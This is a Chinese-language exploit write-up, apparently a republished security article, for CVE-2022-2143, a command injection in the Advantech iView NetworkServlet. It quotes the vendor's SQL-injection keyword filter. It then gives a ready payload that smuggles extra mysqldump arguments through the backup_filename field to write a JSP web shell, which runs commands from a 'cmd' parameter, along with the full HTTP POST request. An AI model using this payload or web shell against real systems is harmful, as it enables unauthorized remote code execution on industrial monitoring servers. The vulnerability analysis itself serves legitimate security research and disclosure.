CVE-2022-2143 Advantech iView NetworkServlet 命令注入RCE
2022-8-24 17:30:27 Author: mp.weixin.qq.com(查看原文) 阅读量:37 收藏

MATCH (n:Class{NAME:'javax.servlet.http.HttpServlet'})-[:EXTEND]-(c:Class)-[:HAS]->(m:Method)-[:CALL*2]-(m1:Method{NAME:'exec',CLASS_NAME:'java.lang.Runtime'}) return *

com.imc.iview.network.NetworkServlet#doPost

两次校验

com.imc.iview.utils.CUtils#checkFileNameIncludePath(java.lang.String)

image.png

检验\webapps\防止写shell

com.imc.iview.utils.CUtils#checkSQLInjection检测了一些关键字。

public boolean checkSQLInjection(String model0) {    boolean result = false;    String model = model0.toLowerCase();    if (!model.contains(" or ") && !model.contains("'or ") && !model.contains("||") && !model.contains("==") && !model.contains("--")) {        if (model.contains("union") && model.contains("select")) {            if (this.checkCommentStr(model, "union", "select")) {                result = true;            }        } else if (model.contains("case") && model.contains("when")) {            if (this.checkCommentStr(model, "case", "when")) {                result = true;            }        } else if (model.contains("into") && model.contains("dumpfile")) {            if (this.checkCommentStr(model, "into", "dumpfile")) {                result = true;            }        } else if (model.contains("into") && model.contains("outfile")) {            if (this.checkCommentStr(model, "into", "outfile")) {                result = true;            }        } else if (model.contains(" where ") && model.contains("select ")) {            result = true;        } else if (model.contains("benchmark")) {            result = true;        } else if (model.contains("select") && model.contains("from")) {            if (this.checkCommentStr(model, "select", "from")) {                result = true;            }        } else if (model.contains("select/*")) {            result = true;        } else if (model.contains("delete") && model.contains("from")) {            if (this.checkCommentStr(model, "delete", "from")) {                result = true;            }        } else if (model.contains("drop") && model.contains("table") || model.contains("drop") && model.contains("database")) {            if (this.checkCommentStr(model, "drop", "table")) {                result = true;            }            if (this.checkCommentStr(model, "drop", "database")) {                result = true;            }        } else if (!model.contains("sleep(") && !model.contains(" rlike ") && !model.contains("rlike(") && !model.contains(" like ")) {            if (model.startsWith("'") && model.endsWith("#") && model.length() > 5) {                result = true;            } else if ((model.startsWith("9999'") || model.endsWith("#9999") || model.contains("#9999")) && model.length() > 10) {                result = true;            } else if (model.contains("getRuntime().exec") || model.contains("getruntime().exec") || model.contains("getRuntime()")) {                result = true;            }        } else {            result = true;        }    } else {        result = true;    }    if (result) {        System.out.println("Error: SQL Injection Vulnerability detected in [" + model0 + "]");    }    return result;}

那么mysqldump可以拼接-w参数将内容写入文件,然后可以多次传递-r参数覆盖原有的-r文件路径值

正常的命令为

"C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump" -hlocalhost -u root -padmin --add-drop-database -B iview -r "c:\IMCTrapService\backup\aa"

命令注入构造payload

2.sql" -r "./webapps/iView3/test.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%>"
POST /iView3/NetworkServlet HTTP/1.1Host: 172.16.16.132:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 79
page_action_type=backupDatabase&backup_filename=2.sql"+-r+"./webapps/iView3/test.jsp"+-w+"<%25%3dnew+String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new+ProcessBuilder(request.getParameter(new+java.lang.String(new+byte[]{99,109,100}))).start()).getInputStream()))%25>"

拼接之后为

"C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump" -hlocalhost -u root -padmin --add-drop-database -B iview -r "c:\IMCTrapService\backup\2.sql" -r "./webapps/iView3/test.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%>"

image.png

有php日志getshell的那味了。

image.png

判断session登录状态

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

夏日福利发放中,戳“阅读原文“参与

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652890448&idx=1&sn=b7a31f502c16e7311c204c4bed67a26f&chksm=bd59999d8a2e108b9ef269465c21e927f97d3450805491f21e5554f6cb545508949455fcb8e0#rd
如有侵权请联系:admin#unsafe.sh